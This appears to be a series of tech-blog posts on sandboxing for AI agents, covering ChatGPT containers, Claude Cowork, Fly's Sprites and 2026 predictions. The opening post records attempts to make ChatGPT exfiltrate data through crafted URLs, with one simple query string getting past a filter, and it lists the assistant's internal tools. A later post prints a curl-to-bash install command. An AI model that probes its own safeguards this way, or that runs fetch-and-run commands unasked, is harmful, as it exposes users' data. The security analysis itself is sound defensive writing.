Is this a data exfiltration vulnerability though? Could a prompt injection attack trick ChatGPT into leaking private data out to a container.download call to a URL with a query string that includes sensitive information?

I don't think it can. I tried getting it to assemble a URL with a query string and access it using container.download and it couldn't do it. It told me that it got back this error:

ERROR: download failed because url not viewed in conversation before. open the file or url using web.run first.

This looks to me like the same safety trick used by Claude's Web Fetch tool: only allow URL access if that URL was either directly entered by the user or if it came from search results that could not have been influenced by a prompt injection.

(I poked at this a bit more and managed to get a simple constructed query string to pass through web.run - a different tool entirely - but when I tried to compose a longer query string containing the previous prompt history a web.run filter blocked it.)

So I think this is all safe, though I'm curious if it could hold firm against a more aggressive round of attacks from a seasoned security researcher.

Bash and other languages

The key lesson from coding agents like Claude Code and Codex CLI is that Bash rules everything: if an agent can run Bash commands in an environment it can do almost anything that can be achieved by typing commands into a computer.

When Anthropic added their own code interpreter feature to Claude last September they built that around Bash rather than just Python. It looks to me like OpenAI have now done the same thing for ChatGPT.

Here's what ChatGPT looks like when it runs a Bash command - here my prompt was:

npm install a fun package and demonstrate using it

It's useful to click on the "Thinking" or "Thought for 32s" links as that opens the Activity sidebar with a detailed trace of what ChatGPT did to arrive at its answer. This helps guard against cheating - ChatGPT might claim to have run Bash in the main window but it can't fake those black and white logs in the Activity panel.

I had it run Hello World in various languages later in that same session.

Installing packages from pip and npm

In the previous example ChatGPT installed the cowsay package from npm and used it to draw an ASCII-art cow. But how could it do that if the container can't make outbound network requests?

In another session I challenged it to explore its environment. and figure out how that worked.

Here's the resulting Markdown report it created.

The key magic appears to be a applied-caas-gateway1.internal.api.openai.org proxy, available within the container and with various packaging tools configured to use it.

The following environment variables cause pip and uv to install packages from that proxy instead of directly from PyPI:

PIP_INDEX_URL=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../pypi-public/simple
PIP_TRUSTED_HOST=packages.applied-caas-gateway1.internal.api.openai.org
UV_INDEX_URL=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../pypi-public/simple
UV_INSECURE_HOST=https://packages.applied-caas-gateway1.internal.api.openai.org

This one appears to get npm to work:

NPM_CONFIG_REGISTRY=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../npm-public

And it reported these suspicious looking variables as well:

CAAS_ARTIFACTORY_BASE_URL=packages.applied-caas-gateway1.internal.api.openai.org
CAAS_ARTIFACTORY_PYPI_REGISTRY=.../artifactory/api/pypi/pypi-public
CAAS_ARTIFACTORY_NPM_REGISTRY=.../artifactory/api/npm/npm-public
CAAS_ARTIFACTORY_GO_REGISTRY=.../artifactory/api/go/golang-main
CAAS_ARTIFACTORY_MAVEN_REGISTRY=.../artifactory/maven-public
CAAS_ARTIFACTORY_GRADLE_REGISTRY=.../artifactory/gradle-public
CAAS_ARTIFACTORY_CARGO_REGISTRY=.../artifactory/api/cargo/cargo-public/index
CAAS_ARTIFACTORY_DOCKER_REGISTRY=.../dockerhub-public
CAAS_ARTIFACTORY_READER_USERNAME=reader
CAAS_ARTIFACTORY_READER_PASSWORD=****
NETWORK=caas_packages_only

Neither Rust nor Docker are installed in the container environment, but maybe those registry references are a clue of features still to come.

Adding it all together

The result of all of this? You can tell ChatGPT to use Python or Node.js packages as part of a conversation and it will be able to install them and apply them against files you upload or that it downloads from the public web. That's really cool.

The big missing feature here should be the easiest to provide: we need official documentation! A release notes entry would be a good start, but there are a lot of subtle details to how this new stuff works, its limitations and what it can be used for.

As always, I'd also encourage OpenAI to come up with a name for this set of features that properly represents how it works and what it can do.

In the meantime, I'm going to call this ChatGPT Containers.

Update: a full list of tools

I decided to ask ChatGPT about other tools that were available to it in case there was anything interesting in there:

List all tools that are available to you, with their exact names and descriptions and signatures

Here's what I got back.

List of ChatGPT tools according to GPT-5.2 Thinking on 26th January 2026

Below are all tools available to me in this chat, with their exact names, descriptions, and signatures (as defined in my tool interface).

python

`python.exec` (FREEFORM) → any

Description: Execute Python code in a Jupyter environment for private/internal reasoning (not shown to you). Internet access is disabled.
Signature: python.exec(FREEFORM) -> any

web

`web.run` (ToolCallV5 JSON) → any

Description: Access the internet and specialized lookups (search, open/click/find pages, screenshot PDFs, image search, product search, finance, weather, sports, calculator, time). Supports citations via returned turn... reference IDs.
Signature:
web.run({ open?, click?, find?, screenshot?, image_query?, product_query?, sports?, finance?, weather?, calculator?, time?, search_query?, response_length? }) -> any

automations

`automations.create` → any

Description: Schedule a future/recurring task/reminder/search via iCal VEVENT.
Signature:
automations.create({ prompt: string, title: string, schedule?: string, dtstart_offset_json?: string }) -> any

`automations.update` → any

Description: Modify an existing scheduled task.
Signature:
automations.update({ jawbone_id: string, schedule?: string, dtstart_offset_json?: string, prompt?: string, title?: string, is_enabled?: boolean }) -> any

`automations.list` → any

Description: List existing automations.
Signature: automations.list() -> any

guardian_tool

`guardian_tool.get_policy` → str

Description: Retrieve policy guidance for specific categories (currently: election_voting).
Signature: guardian_tool.get_policy({ category: string }) -> str

file_search

`file_search.msearch` → any

Description: Search across available internal/connected sources (in this environment: primarily “recording_knowledge” transcripts when relevant).
Signature:
file_search.msearch({ queries?: string[], source_filter?: string[], file_type_filter?: string[], intent?: string, time_frame_filter?: { start_date?: string, end_date?: string } }) -> any

`file_search.mclick` → any

Description: Expand/open previously returned search results (or connector URLs) for more context.
Signature:
file_search.mclick({ pointers?: string[], start_date?: string, end_date?: string }) -> any

gmail (read-only)

`gmail.search_email_ids` → any

Description: Search Gmail message IDs by query/tags (read-only).
Signature:
gmail.search_email_ids({ query?: string, tags?: string[], max_results?: integer, next_page_token?: string }) -> any

`gmail.batch_read_email` → any

Description: Read a batch of Gmail messages by message IDs (read-only).
Signature:
gmail.batch_read_email({ message_ids: string[] }) -> any

gcal (read-only)

`gcal.search_events` → any

Description: Search Google Calendar events in a time range and/or by keyword (read-only).
Signature:
gcal.search_events({ time_min?: string, time_max?: string, timezone_str?: string, max_results?: integer, query?: string, calendar_id?: string, next_page_token?: string }) -> any

`gcal.read_event` → any

Description: Read a specific calendar event by ID (read-only).
Signature:
gcal.read_event({ event_id: string, calendar_id?: string }) -> any

gcontacts (read-only)

`gcontacts.search_contacts` → any

Description: Search Google Contacts by keyword (read-only).
Signature:
gcontacts.search_contacts({ query: string, max_results?: integer }) -> any

canmore (canvas)

`canmore.create_textdoc` → any

Description: Create a new canvas text document (markdown or code).
Signature:
canmore.create_textdoc({ name: string, type: "document" | "code/bash" | "code/zsh" | "code/javascript" | "code/typescript" | "code/html" | "code/css" | "code/python" | "code/json" | "code/sql" | "code/go" | "code/yaml" | "code/java" | "code/rust" | "code/cpp" | "code/swift" | "code/php" | "code/xml" | "code/ruby" | "code/haskell" | "code/kotlin" | "code/csharp" | "code/c" | "code/objectivec" | "code/r" | "code/lua" | "code/dart" | "code/scala" | "code/perl" | "code/commonlisp" | "code/clojure" | "code/ocaml" | "code/powershell" | "code/verilog" | "code/dockerfile" | "code/vue" | "code/react" | "code/other", content: string }) -> any

`canmore.update_textdoc` → any

Description: Apply regex-based edits to the current canvas textdoc.
Signature:
canmore.update_textdoc({ updates: { pattern: string, multiple?: boolean, replacement: string }[] }) -> any

`canmore.comment_textdoc` → any

Description: Add actionable comments on matched regions of the current canvas textdoc.
Signature:
canmore.comment_textdoc({ comments: { pattern: string, comment: string }[] }) -> any

python_user_visible

`python_user_visible.exec` (FREEFORM) → any

Description: Execute Python code that you will see (tables, plots, generated files). Internet disabled.
Signature: python_user_visible.exec(FREEFORM) -> any

user_info

`user_info.get_user_info` → any

Description: Get your current location and local time (or UTC if unknown).
Signature: user_info.get_user_info({}) -> any

summary_reader

`summary_reader.read` → any

Description: Read safe-to-share internal reasoning summaries from earlier turns (used when asked how I arrived at something).
Signature: summary_reader.read({ limit?: integer, offset?: integer }) -> any

container

`container.exec` → any

Description: Run a command inside the container and return stdout/stderr.
Signature:
container.exec({ cmd: string[], session_name?: string | null, workdir?: string | null, timeout?: integer | null, env?: object | null, user?: string | null }) -> any

`container.feed_chars` → any

Description: Send input to a running interactive exec session and flush output.
Signature:
container.feed_chars({ session_name: string, chars: string, yield_time_ms?: integer }) -> any

`container.open_image` → any

Description: Display an image from an absolute path in the container (jpg/jpeg/png/webp).
Signature:
container.open_image({ path: string, user?: string | null }) -> any

`container.download` → any

Description: Download a file from a URL into the container filesystem.
Signature:
container.download({ url: string, filepath: string }) -> any

bio (memory)

`bio.update` (FREEFORM) → any

Description: Persist (or forget) user-specific info across conversations (“memory”).
Signature: bio.update(FREEFORM) -> any

api_tool

`api_tool.list_resources` → any

Description: List available “resources” (including invokable tools) in an OP-style file tree.
Signature:
api_tool.list_resources({ path?: string, cursor?: string | null, only_tools?: boolean, refetch_tools?: boolean }) -> any

`api_tool.call_tool` → any

Description: Invoke a resource as a tool (must know its full path/URI from list_resources).
Signature:
api_tool.call_tool({ path: string, args: object }) -> any

personal_context

`personal_context.search` → any

Description: Retrieve user-specific context from prior interactions/linked sources to maintain continuity.
Signature:
personal_context.search({ query: string }) -> any

image_gen

`image_gen.text2im` → any

Description: Generate or edit images from text instructions (and optionally referenced image IDs).
Signature:
image_gen.text2im({ prompt?: string | null, size?: string | null, n?: integer | null, transparent_background?: boolean | null, is_style_transfer?: boolean | null, referenced_image_ids?: string[] | null }) -> any

user_settings

`user_settings.get_user_settings` → any

Description: Read current settings and allowed values (personality, accent color, appearance).
Signature: user_settings.get_user_settings() -> any

`user_settings.set_setting` → any

Description: Change one setting (accent color, appearance, or personality) to an allowed value.
Signature:
user_settings.set_setting({ setting_name: "accent_color" | "appearance" | "personality", setting_value: string }) -> any

artifact_handoff

`artifact_handoff.prepare_artifact_generation` → any

Description: Must be called immediately when the user asks for a spreadsheet or slide deck artifact.
Signature: artifact_handoff.prepare_artifact_generation() -> any

Tags: pypi, sandboxing, npm, ai, openai, generative-ai, chatgpt, llms, ai-assisted-programming, code-interpreter

the browser is the sandbox

2026-01-25T23:51:32+00:00

the browser is the sandbox

Paul Kinlan is a web platform developer advocate at Google and recently turned his attention to coding agents. He quickly identified the importance of a robust sandbox for agents to operate in and put together these detailed notes on how the web browser can help:

This got me thinking about the browser. Over the last 30 years, we have built a sandbox specifically designed to run incredibly hostile, untrusted code from anywhere on the web, the instant a user taps a URL. [...]

Could you build something like Cowork in the browser? Maybe. To find out, I built a demo called Co-do that tests this hypothesis. In this post I want to discuss the research I've done to see how far we can get, and determine if the browser's ability to run untrusted code is useful (and good enough) for enabling software to do more for us directly on our computer.

Paul then describes how the three key aspects of a sandbox - filesystem, network access and safe code execution - can be handled by browser technologies: the File System Access API (still Chrome-only as far as I can tell), CSP headers with <iframe sandbox> and WebAssembly in Web Workers.

Co-do is a very interesting demo that illustrates all of these ideas in a single application:

You select a folder full of files and configure an LLM provider and set an API key, Co-do then uses CSP-approved API calls to interact with that provider and provides a chat interface with tools for interacting with those files. It does indeed feel similar to Claude Cowork but without running a multi-GB local container to provide the sandbox.

My biggest complaint about <iframe sandbox> remains how thinly documented it is, especially across different browsers. Paul's post has all sorts of useful details on that which I've not encountered elsewhere, including a complex double-iframe technique to help apply network rules to the inner of the two frames.

Thanks to this post I also learned about the <input type="file" webkitdirectory> tag which turns out to work on Firefox, Safari and Chrome and allows a browser read-only access to a full directory of files at once. I had Claude knock up a webkitdirectory demo to try it out and I'll certainly be using it for projects in the future.

Tags: browsers, javascript, sandboxing, ai, generative-ai, llms, ai-agents, coding-agents, claude-code

The Design & Implementation of Sprites

2026-01-15T16:08:27+00:00

The Design & Implementation of Sprites

I wrote about Sprites last week. Here's Thomas Ptacek from Fly with the insider details on how they work under the hood.

I like this framing of them as "disposable computers":

Sprites are ball-point disposable computers. Whatever mark you mean to make, we’ve rigged it so you’re never more than a second or two away from having a Sprite to do it with.

I've noticed that new Fly Machines can take a while (up to around a minute) to provision. Sprites solve that by keeping warm pools of unused machines in multiple regions, which is enabled by them all using the same container:

Now, today, under the hood, Sprites are still Fly Machines. But they all run from a standard container. Every physical worker knows exactly what container the next Sprite is going to start with, so it’s easy for us to keep pools of “empty” Sprites standing by. The result: a Sprite create doesn’t have any heavy lifting to do; it’s basically just doing the stuff we do when we start a Fly Machine.

The most interesting detail is how the persistence layer works. Sprites only charge you for data you have written that differs from the base image and provide ~300ms checkpointing and restores - it turns out that's power by a custom filesystem on top of S3-compatible storage coordinated by Litestream-replicated local SQLite metadata:

We still exploit NVMe, but not as the root of storage. Instead, it’s a read-through cache for a blob on object storage. S3-compatible object stores are the most trustworthy storage technology we have. I can feel my blood pressure dropping just typing the words “Sprites are backed by object storage.” [...]

The Sprite storage stack is organized around the JuiceFS model (in fact, we currently use a very hacked-up JuiceFS, with a rewritten SQLite metadata backend). It works by splitting storage into data (“chunks”) and metadata (a map of where the “chunks” are). Data chunks live on object stores; metadata lives in fast local storage. In our case, that metadata store is kept durable with Litestream. Nothing depends on local storage.

Via @tqbf

Tags: sandboxing, sqlite, thomas-ptacek, software-architecture, fly, litestream

First impressions of Claude Cowork, Anthropic's general agent

2026-01-12T21:46:13+00:00

New from Anthropic today is Claude Cowork, a "research preview" that they describe as "Claude Code for the rest of your work". It's currently available only to Max subscribers ($100 or $200 per month plans) as part of the updated Claude Desktop macOS application. Update 16th January 2026: it's now also available to $20/month Claude Pro subscribers.

I've been saying for a while now that Claude Code is a "general agent" disguised as a developer tool. It can help you with any computer task that can be achieved by executing code or running terminal commands... which covers almost anything, provided you know what you're doing with it! What it really needs is a UI that doesn't involve the terminal and a name that doesn't scare away non-developers.

"Cowork" is a pretty solid choice on the name front!

What it looks like

The interface for Cowork is a new tab in the Claude desktop app, called Cowork. It sits next to the existing Chat and Code tabs.

It looks very similar to the desktop interface for regular Claude Code. You start with a prompt, optionally attaching a folder of files. It then starts work.

I tried it out against my perpetually growing "blog-drafts" folder with the following prompt:

Look at my drafts that were started within the last three months and then check that I didn't publish them on simonwillison.net using a search against content on that site and then suggest the ones that are most close to being ready

It started by running this command:

find /sessions/zealous-bold-ramanujan/mnt/blog-drafts \
  -type f \( -name "*.md" -o -name "*.txt" -o -name "*.html" \) \
  -mtime -90 -exec ls -la {} \;

That /sessions/zealous-bold-ramanujan/mnt/blog-drafts path instantly caught my eye. Anthropic say that Cowork can only access files you grant it access to - it looks to me like they're mounting those files into a containerized environment, which should mean we can trust Cowork not to be able to access anything outside of that sandbox.

It turns out I have 46 draft files from the past three months. Claude then went to work with its search tool, running 44 individual searches against site:simonwillison.net to figure out which of my drafts had already been published.

Here's the eventual reply:

Based on my analysis, here are your unpublished drafts that appear closest to being ready for publication:

🔥 Most Ready to Publish (substantial content, not yet published)

freq-argued-llms.md - "Frequently Argued Questions about LLMs" (22,602 bytes)

This is a meaty piece documenting common arguments about LLMs with your counterpoints

Well-structured with a TL;DR and multiple sections

No matching published article found on your site

Very close to ready - just needs a final review pass

claude-code-timeline.md - "Claude Code Timeline and Codex Timeline" (3,075 bytes)

About viewing JSONL session logs from Claude Code and Codex

You published claude-code-transcripts on Dec 25, but this appears to be a different/earlier piece about timeline viewing tools

Shorter but seems complete

datasette-1a20-upgrade-instructions.md - Plugin Upgrade Guide (3,147 bytes)

Technical guide for plugin authors

You published the main 1.0a20 announcement but this companion upgrade guide appears unpublished

Would be valuable for plugin maintainers

That's a good response! It found exactly what I needed to see, although those upgrade instructions are actually published elsewhere now (in the Datasette docs) and weren't actually intended for my blog.

Just for fun, and because I really like artifacts, I asked for a follow-up:

Make me an artifact with exciting animated encouragements to get me to do it

Here's what I got:

I couldn't figure out how to close the right sidebar so the artifact ended up cramped into a thin column but it did work. I expect Anthropic will fix that display bug pretty quickly.

Isn't this just Claude Code?

I've seen a few people ask what the difference between this and regular Claude Code is. The answer is not a lot. As far as I can tell Claude Cowork is regular Claude Code wrapped in a less intimidating default interface and with a filesystem sandbox configured for you without you needing to know what a "filesystem sandbox" is.

Update: It's more than just a filesystem sandbox - I had Claude Code reverse engineer the Claude app and it found out that Claude uses VZVirtualMachine - the Apple Virtualization Framework - and downloads and boots a custom Linux root filesystem.

I think that's a really smart product. Claude Code has an enormous amount of value that hasn't yet been unlocked for a general audience, and this seems like a pragmatic approach.

The ever-present threat of prompt injection

With a feature like this, my first thought always jumps straight to security. How big is the risk that someone using this might be hit by hidden malicious instruction somewhere that break their computer or steal their data?

Anthropic touch on that directly in the announcement:

You should also be aware of the risk of "prompt injections": attempts by attackers to alter Claude's plans through content it might encounter on the internet. We've built sophisticated defenses against prompt injections, but agent safety---that is, the task of securing Claude's real-world actions---is still an active area of development in the industry.

These risks aren't new with Cowork, but it might be the first time you're using a more advanced tool that moves beyond a simple conversation. We recommend taking precautions, particularly while you learn how it works. We provide more detail in our Help Center.

That help page includes the following tips:

To minimize risks:

Avoid granting access to local files with sensitive information, like financial documents.

When using the Claude in Chrome extension, limit access to trusted sites.

If you chose to extend Claude’s default internet access settings, be careful to only extend internet access to sites you trust.

Monitor Claude for suspicious actions that may indicate prompt injection.

I do not think it is fair to tell regular non-programmer users to watch out for "suspicious actions that may indicate prompt injection"!

I'm sure they have some impressive mitigations going on behind the scenes. I recently learned that the summarization applied by the WebFetch function in Claude Code and now in Cowork is partly intended as a prompt injection protection layer via this tweet from Claude Code creator Boris Cherny:

Summarization is one thing we do to reduce prompt injection risk. Are you running into specific issues with it?

But Anthropic are being honest here with their warnings: they can attempt to filter out potential attacks all they like but the one thing they can't provide is guarantees that no future attack will be found that sneaks through their defenses and steals your data (see the lethal trifecta for more on this.)

The problem with prompt injection remains that until there's a high profile incident it's really hard to get people to take it seriously. I myself have all sorts of Claude Code usage that could cause havoc if a malicious injection got in. Cowork does at least run in a filesystem sandbox by default, which is more than can be said for my claude --dangerously-skip-permissions habit!

I wrote more about this in my 2025 round-up: The year of YOLO and the Normalization of Deviance.

This is still a strong signal of the future

Security worries aside, Cowork represents something really interesting. This is a general agent that looks well positioned to bring the wildly powerful capabilities of Claude Code to a wider audience.

I would be very surprised if Gemini and OpenAI don't follow suit with their own offerings in this category.

I imagine OpenAI are already regretting burning the name "ChatGPT Agent" on their janky, experimental and mostly forgotten browser automation tool back in August!

Bonus: and a silly logo

bashtoni on Hacker News:

Simple suggestion: logo should be a cow and and orc to match how I originally read the product name.

I couldn't resist throwing that one at Nano Banana:

Tags: sandboxing, ai, prompt-injection, generative-ai, llms, anthropic, claude, ai-agents, claude-code, lethal-trifecta, claude-cowork

Fly's new Sprites.dev addresses both developer sandboxes and API sandboxes at the same time

2026-01-09T23:57:12+00:00

New from Fly.io today: Sprites.dev. Here's their blog post and YouTube demo. It's an interesting new product that's quite difficult to explain - Fly call it "Stateful sandbox environments with checkpoint & restore" but I see it as hitting two of my current favorite problems: a safe development environment for running coding agents and an API for running untrusted code in a secure sandbox.

Disclosure: Fly sponsor some of my work. They did not ask me to write about Sprites and I didn't get preview access prior to the launch. My enthusiasm here is genuine.

Developer sandboxes

I predicted earlier this week that "we’re due a Challenger disaster with respect to coding agent security" due to the terrifying way most of us are using coding agents like Claude Code and Codex CLI. Running them in --dangerously-skip-permissions mode (aka YOLO mode, where the agent acts without constantly seeking approval first) unlocks so much more power, but also means that a mistake or a malicious prompt injection can cause all sorts of damage to your system and data.

The safe way to run YOLO mode is in a robust sandbox, where the worst thing that can happen is the sandbox gets messed up and you have to throw it away and get another one.

That's the first problem Sprites solves:

curl https://sprites.dev/install.sh | bash

sprite login
sprite create my-dev-environment
sprite console -s my-dev-environment

That's all it takes to get SSH connected to a fresh environment, running in an ~8GB RAM, 8 CPU server. And... Claude Code and Codex and Gemini CLI and Python 3.13 and Node.js 22.20 and a bunch of other tools are already installed.

The first time you run claude it neatly signs you in to your existing account with Anthropic. The Sprites VM is persistent so future runs of sprite console -s will get you back to where you were before.

... and it automatically sets up port forwarding, so you can run a localhost server on your Sprite and access it from localhost:8080 on your machine.

There's also a command you can run to assign a public URL to your Sprite, so anyone else can access it if they know the secret URL.

Storage and checkpoints

In the blog post Kurt Mackey argues that ephemeral, disposable sandboxes are not the best fit for coding agents:

The state of the art in agent isolation is a read-only sandbox. At Fly.io, we’ve been selling that story for years, and we’re calling it: ephemeral sandboxes are obsolete. Stop killing your sandboxes every time you use them. [...]

If you force an agent to, it’ll work around containerization and do work . But you’re not helping the agent in any way by doing that. They don’t want containers. They don’t want “sandboxes”. They want computers.

[...] with an actual computer, Claude doesn’t have to rebuild my entire development environment every time I pick up a PR.

Each Sprite gets a proper filesystem which persists in between sessions, even while the Sprite itself shuts down after inactivity. It sounds like they're doing some clever filesystem tricks here, I'm looking forward to learning more about those in the future.

There are some clues on the homepage:

You read and write to fast, directly attached NVMe storage. Your data then gets written to durable, external object storage. [...]

You don't pay for allocated filesystem space, just the blocks you write. And it's all TRIM friendly, so your bill goes down when you delete things.

The really clever feature is checkpoints. You (or your coding agent) can trigger a checkpoint which takes around 300ms. This captures the entire disk state and can then be rolled back to later.

For more on how that works, run this in a Sprite:

cat /.sprite/docs/agent-context.md

Here's the relevant section:

## Checkpoints
- Point-in-time checkpoints and restores available
- Copy-on-write implementation for storage efficiency
- Last 5 checkpoints mounted at `/.sprite/checkpoints`
- Checkpoints capture only the writable overlay, not the base image

Or run this to see the --help for the command used to manage them:

sprite-env checkpoints --help

Which looks like this:

sprite-env checkpoints - Manage environment checkpoints

USAGE:
    sprite-env checkpoints <subcommand> [options]

SUBCOMMANDS:
    list [--history <ver>]  List all checkpoints (optionally filter by history version)
    get <id>                Get checkpoint details (e.g., v0, v1, v2)
    create                  Create a new checkpoint (auto-versioned)
    restore <id>            Restore from a checkpoint (e.g., v1)

NOTE:
    Checkpoints are versioned as v0, v1, v2, etc.
    Restore returns immediately and triggers an async restore that restarts the environment.
    The last 5 checkpoints are mounted at /.sprite/checkpoints for direct file access.

EXAMPLES:
    sprite-env checkpoints list
    sprite-env checkpoints list --history v1.2.3
    sprite-env checkpoints get v2
    sprite-env checkpoints create
    sprite-env checkpoints restore v1

Really clever use of Claude Skills

I'm a big fan of Skills, the mechanism whereby Claude Code (and increasingly other agents too) can be given additional capabilities by describing them in Markdown files in a specific directory structure.

In a smart piece of design, Sprites uses pre-installed skills to teach Claude how Sprites itself works. This means you can ask Claude on the machine how to do things like open up ports and it will talk you through the process.

There's all sorts of interesting stuff in the /.sprite folder on that machine - digging in there is a great way to learn more about how Sprites works.

A sandbox API

Also from my predictions post earlier this week: "We’re finally going to solve sandboxing". I am obsessed with this problem: I want to be able to run untrusted code safely, both on my personal devices and in the context of web services I'm building for other people to use.

I have so many things I want to build that depend on being able to take untrusted code - from users or from LLMs or from LLMs-driven-by-users - and run that code in a sandbox where I can be confident that the blast radius if something goes wrong is tightly contained.

Sprites offers a clean JSON API for doing exactly that, plus client libraries in Go and TypeScript and coming-soon Python and Elixir.

From their quick start:

# Create a new sprite
curl -X PUT https://api.sprites.dev/v1/sprites/my-sprite \
-H "Authorization: Bearer $SPRITES_TOKEN"

# Execute a command
curl -X POST https://api.sprites.dev/v1/sprites/my-sprite/exec \
-H "Authorization: Bearer $SPRITES_TOKEN" \
-d '{"command": "echo hello"}'

You can also checkpoint and rollback via the API, so you can get your environment exactly how you like it, checkpoint it, run a bunch of untrusted code, then roll back to the clean checkpoint when you're done.

Managing network access is an important part of maintaining a good sandbox. The Sprites API lets you configure network access policies using a DNS-based allow/deny list like this:

curl -X POST \
  "https://api.sprites.dev/v1/sprites/{name}/policy/network" \
  -H "Authorization: Bearer $SPRITES_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "rules": [
      {
        "action": "allow",
        "domain": "github.com"
      },
      {
        "action": "allow",
        "domain": "*.npmjs.org"
      }
    ]
  }'

Scale-to-zero billing

Sprites have scale-to-zero baked into the architecture. They go to sleep after 30 seconds of inactivity, wake up quickly when needed and bill you for just the CPU hours, RAM hours and GB-hours of storage you use while the Sprite is awake.

Fly estimate a 4 hour intensive coding session as costing around 46 cents, and a low traffic web app with 30 hours of wake time per month at ~$4.

(I calculate that a web app that consumes all 8 CPUs and all 8GBs of RAM 24/7 for a month would cost ((7 cents * 8 * 24 * 30) + (4.375 cents * 8 * 24 * 30)) / 100 = $655.2 per month, so don't necessarily use these as your primary web hosting solution for an app that soaks up all available CPU and RAM!)

Two of my favorite problems at once

I was hopeful that Fly would enter the developer-friendly sandbox API market, especially given other entrants from companies like Cloudflare and Modal and E2B.

I did not expect that they'd tackle the developer sandbox problem at the same time, and with the same product!

My one concern here is that it makes the product itself a little harder to explain.

I'm already spinning up some prototypes of sandbox-adjacent things I've always wanted to build, and early signs are very promising. I'll write more about these as they turn into useful projects.

Update: Here's some additional colour from Thomas Ptacek on Hacker News:

This has been in the works for quite awhile here. We put a long bet on "slow create fast start/stop" --- which is a really interesting and useful shape for execution environments --- but it didn't make sense to sandboxers, so "fast create" has been the White Whale at Fly.io for over a year.

Tags: sandboxing, thomas-ptacek, ai, fly, coding-agents

LLM predictions for 2026, shared with Oxide and Friends

2026-01-08T19:42:13+00:00

I joined a recording of the Oxide and Friends podcast on Tuesday to talk about 1, 3 and 6 year predictions for the tech industry. This is my second appearance on their annual predictions episode, you can see my predictions from January 2025 here. Here's the page for this year's episode, with options to listen in all of your favorite podcast apps or directly on YouTube.

Bryan Cantrill started the episode by declaring that he's never been so unsure about what's coming in the next year. I share that uncertainty - the significant advances in coding agents just in the last two months have left me certain that things will change significantly, but unclear as to what those changes will be.

Here are the predictions I shared in the episode.

1 year: It will become undeniable that LLMs write good code ▶ 19:27

I think that there are still people out there who are convinced that LLMs cannot write good code. Those people are in for a very nasty shock in 2026. I do not think it will be possible to get to the end of even the next three months while still holding on to that idea that the code they write is all junk and it's it's likely any decent human programmer will write better code than they will.

In 2023, saying that LLMs write garbage code was entirely correct. For most of 2024 that stayed true. In 2025 that changed, but you could be forgiven for continuing to hold out. In 2026 the quality of LLM-generated code will become impossible to deny.

I base this on my own experience - I've spent more time exploring AI-assisted programming than most.

The key change in 2025 (see my overview for the year) was the introduction of "reasoning models" trained specifically against code using Reinforcement Learning. The major labs spent a full year competing with each other on who could get the best code capabilities from their models, and that problem turns out to be perfectly attuned to RL since code challenges come with built-in verifiable success conditions.

Since Claude Opus 4.5 and GPT-5.2 came out in November and December respectively the amount of code I've written by hand has dropped to a single digit percentage of my overall output. The same is true for many other expert programmers I know.

At this point if you continue to argue that LLMs write useless code you're damaging your own credibility.

1 year: We're finally going to solve sandboxing ▶ 20:05

I think this year is the year we're going to solve sandboxing. I want to run code other people have written on my computing devices without it destroying my computing devices if it's malicious or has bugs. [...] It's crazy that it's 2026 and I still pip install random code and then execute it in a way that it can steal all of my data and delete all my files. [...] I don't want to run a piece of code on any of my devices that somebody else wrote outside of sandbox ever again.

This isn't just about LLMs, but it becomes even more important now there are so many more people writing code often without knowing what they're doing. Sandboxing is also a key part of the battle against prompt injection.

We have a lot of promising technologies in play already for this - containers and WebAssembly being the two I'm most optimistic about. There's real commercial value involved in solving this problem. The pieces are there, what's needed is UX work to reduce the friction in using them productively and securely.

1 year: A "Challenger disaster" for coding agent security ▶ 21:21

I think we're due a Challenger disaster with respect to coding agent security[...] I think so many people, myself included, are running these coding agents practically as root, right? We're letting them do all of this stuff. And every time I do it, my computer doesn't get wiped. I'm like, "oh, it's fine". [...] The worst version of this is the worm - a prompt injection worm which infects people's computers and adds itself to the Python or NPM packages that person has access to.

I used this as an opportunity to promote my favourite recent essay about AI security, the Normalization of Deviance in AI by Johann Rehberger.

The Normalization of Deviance describes the phenomenon where people and organizations get used to operating in an unsafe manner because nothing bad has happened to them yet, which can result in enormous problems (like the 1986 Challenger disaster) when their luck runs out.

Every six months I predict that a headline-grabbing prompt injection attack is coming soon, and every six months it doesn't happen. This is my most recent version of that prediction!

1 year: Kākāpō parrots will have an outstanding breeding season ▶ 50:06

(I dropped this one to lighten the mood after a discussion of the deep sense of existential dread that many programmers are feeling right now!)

I think that Kākāpō parrots in New Zealand are going to have an outstanding breeding season. The reason I think this is that the Rimu trees are in fruit right now. There's only 250 of them, and they only breed if the Rimu trees have a good fruiting. The Rimu trees have been terrible since 2019, but this year the Rimu trees were all blooming. There are researchers saying that all 87 females of breeding age might lay an egg. And for a species with only 250 remaining parrots that's great news.

(I just checked Wikipedia and I was right with the parrot numbers but wrong about the last good breeding season, apparently 2022 was a good year too.)

In a year with precious little in the form of good news I am utterly delighted to share this story. Here's more:

Kākāpō breeding season 2026 introduction from the Department of Conservation from June 2025 .
Bumper breeding season for kākāpō on the cards - 3rd December 2025, University of Auckland.

I don't often use AI-generated images on this blog, but the Kākāpō image the Oxide team created for this episode is just perfect:

3 years: the coding agents Jevons paradox for software engineering will resolve, one way or the other ▶ 54:37

We will find out if the Jevons paradox saves our careers or not. This is a big question that anyone who's a software engineer has right now: we are driving the cost of actually producing working code down to a fraction of what it used to cost. Does that mean that our careers are completely devalued and we all have to learn to live on a tenth of our incomes, or does it mean that the demand for software, for custom software goes up by a factor of 10 and now our skills are even more valuable because you can hire me and I can build you 10 times the software I used to be able to? I think by three years we will know for sure which way that one went.

The quote says it all. There are two ways this coding agents thing could go: it could turn out software engineering skills are devalued, or it could turn out we're more valuable and effective than ever before.

I'm crossing my fingers for the latter! So far it feels to me like it's working out that way.

3 years: Someone will build a new browser using mainly AI-assisted coding and it won't even be a surprise ▶ 65:13

I think somebody will have built a full web browser mostly using AI assistance, and it won't even be surprising. Rolling a new web browser is one of the most complicated software projects I can imagine[...] the cheat code is the conformance suites. If there are existing tests that it'll get so much easier.

A common complaint today from AI coding skeptics is that LLMs are fine for toy projects but can't be used for anything large and serious.

I think within 3 years that will be comprehensively proven incorrect, to the point that it won't even be controversial anymore.

I picked a web browser here because so much of the work building a browser involves writing code that has to conform to an enormous and daunting selection of both formal tests and informal websites-in-the-wild.

Coding agents are really good at tasks where you can define a concrete goal and then set them to work iterating in that direction.

A web browser is the most ambitious project I can think of that leans into those capabilities.

